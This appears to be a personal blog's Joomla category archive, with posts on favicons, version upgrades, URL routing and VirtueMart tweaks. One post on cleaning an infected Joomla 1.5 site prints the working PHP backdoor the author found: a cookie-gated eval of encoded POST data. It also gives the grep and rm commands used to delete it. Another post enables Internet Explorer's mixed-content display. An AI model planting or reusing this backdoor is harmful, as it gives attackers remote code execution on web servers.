Category Archives: Joomla

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Updating website icon in Joomla 5

Posted by | Joomla |

For the Cassiopeia template, Joomla will look for the favicons in the following locations:

  1. media/templates/site/cassiopeia/images – they are not there so Joomla will look in the next location.
  2. media/system/images – they are there so Joomla will use them from there.
wget -O - https://sharlines.com | grep -i favicon

        <link href="/media/system/images/joomla-favicon.svg" rel="icon" type="image/svg+xml">
        <link href="/media/templates/site/cassiopeia/images/favicon.ico" rel="alternate icon" type="image/vnd.microsoft.icon">
        <link href="/media/system/images/joomla-favicon-pinned.svg" rel="mask-icon" color="#000">
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Upgrading my Joomla website from 4 to 5

Posted by | Joomla |

Pre-Update check page displayed that I need Output Buffering:

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Upgrading my Joomla website from 3 to 4

Posted by | Joomla |

I have the following Joomla version:

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How to remove ID from URL in Joomla 3.8 and higher

Posted by | Joomla |

In Joomla 3.8.2 (and probably 3.8) or later to remove ID from URL you go to System->Global Configuration->Articles->Integration page, select Modern URL Routing and then select Remove IDs from URLs:

How to remove ID from URL in Joomla 3.8

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How I removed infected PHP files from Joomla 1.5 wesite.

Posted by | Joomla, Ubuntu |

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
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What browser can work with Joomla 1.5 administrator panel?

Posted by | Joomla, Windows |

Today I updated my FireFox browser and Joomla 1.5x administrator panel stopped working in it. Looks like Joomla 1.5x administrator panel contains some staff that prevents it from working in all modern browsers except Internet Explorer, or at least Internet Explorer is the only browser that displays message “Only secure content is displayed.” and button “Show All Content” enabling some insecure mode. To eliminate the need of pressing this button each time I open new page in administrator panel I went to “Internet Options->Security Tab->Miscellaneous->Display mixed content” and chose “Enable”:

enabling some insecure mode in IE

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How to remove ID from URL in Joomla 2.5-3.7

Posted by | Joomla, PHP |

There is a new option in Joomla 3.8.2 allowing to get rid of ID in URLs (thanks to Ian who discovered it). If you have an older Joomla version and unable to update to 3.8.2 or higher follow the steps provided below:

Open components\com_content\router.php in an editor and make a small changes:

in function ContentBuildRoute(&$query) replace line 27

$advanced    = $params->get('sef_advanced_link', 0);

with

$advanced    = $params->get('sef_advanced_link', 1);

in function ContentParseRoute($segments) replace line 208

$advanced    = $params->get('sef_advanced_link', 0);

with

$advanced    = $params->get('sef_advanced_link', 1);

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Investigating VirtueMart 2.0 – part I

Posted by | Joomla | Tagged |

Recently I have started investigating VirtueMart 2.0.6.  Below I recorded various issues that I have found along the way. Hopefully someone else (possibly myself down the line) will find these useful.

Configuring “Safe Path”

Create directory /home/test1/vmfiles:

mkdir /home/test1/vmfiles

Go to Configuration->Templates, enter the path:

SNAGHTML215b44db[4]

and press Save button.

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How to modify product page title in VirtueMart 1.1.9, Joomla 1.5.23

Posted by | Joomla, PHP | Tagged |

Function $document->setTitle($title) is called from “administrator/components/com_virtuemart/classes/mainframe.class.php”:

function setPageTitle( $title ) {
    global $mainframe;
    $title = strip_tags(str_replace('&nbsp;',' ', $title));
    $title = trim($title);
    if( defined( '_VM_IS_BACKEND')) {
        echo vmCommonHTML::scriptTag('', "//<![CDATA[
        var vm_page_title=\"".str_replace('"', '\"', $title )."\";
        try{ parent.document.title = vm_page_title; } catch(e) { document.title =vm_page_title; } 
        //]]>
        ");
        
    }
    elseif( vmIsJoomla('1.5') ) {
        $document=& JFactory::getDocument();
        $document->setTitle($title);
    } else {
        $mainframe->setPageTitle( $title );
    }
}

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Progressive discounts in VirtueMart

Posted by | Joomla, PHP | Tagged |

I did some investigation of VirtueMart 1.1.x discount system and the first thing I did notice is that VirtueMart 1.1.x does not support progressive discounts natively. In other words it does not allow to define the discount based on the amount of products bought or total amount of money paid.

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